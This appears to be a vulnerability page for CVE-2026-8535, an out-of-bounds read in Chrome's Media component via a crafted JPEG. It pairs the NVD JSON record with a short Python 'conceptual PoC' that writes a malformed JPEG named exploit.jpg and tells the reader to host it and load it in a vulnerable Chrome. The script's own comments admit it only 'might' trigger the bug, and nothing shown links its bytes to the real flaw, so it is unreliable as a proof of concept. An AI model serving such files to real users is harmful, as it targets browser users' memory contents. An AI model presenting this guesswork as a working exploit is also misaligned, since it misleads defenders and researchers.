CVE-2026-8535

import struct # Conceptual PoC for triggering OOB Read in Chrome Media # This generates a malformed JPEG file designed to trigger the vulnerability def generate_malformed_jpeg(filename): # JPEG Start of Image (SOI) marker jpeg_data = b'\xff\xd8' # Define a malformed segment header # Marker for Comment (0xFFFE) or APPn (0xFFEn) could be used # The goal is to set a length that triggers the read logic to go out of bounds marker = b'\xff\xfe' # Length field in JPEG is 2 bytes (including the length field itself) # We set a length that might cause confusion in parsing logic # Example: A very large length or a specific offset crafted_length = struct.pack('>H', 0x0001) # Payload data - minimal to keep file size small payload = b'A' * 10 # End of Image (EOI) eoi = b'\xff\xd9' with open(filename, 'wb') as f: f.write(jpeg_data + marker + crafted_length + payload + eoi) print(f"[+] Malformed JPEG generated at: {filename}") print("[+] Host this file and attempt to load in vulnerable Chrome version.") if __name__ == "__main__": generate_malformed_jpeg('exploit.jpg')

{"cve": {"id": "CVE-2026-8535", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:14.350", "lastModified": "2026-05-14T22:16:47.700", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in Media in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted JPEG file. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/495530312", "source": "[email protected]"}]}}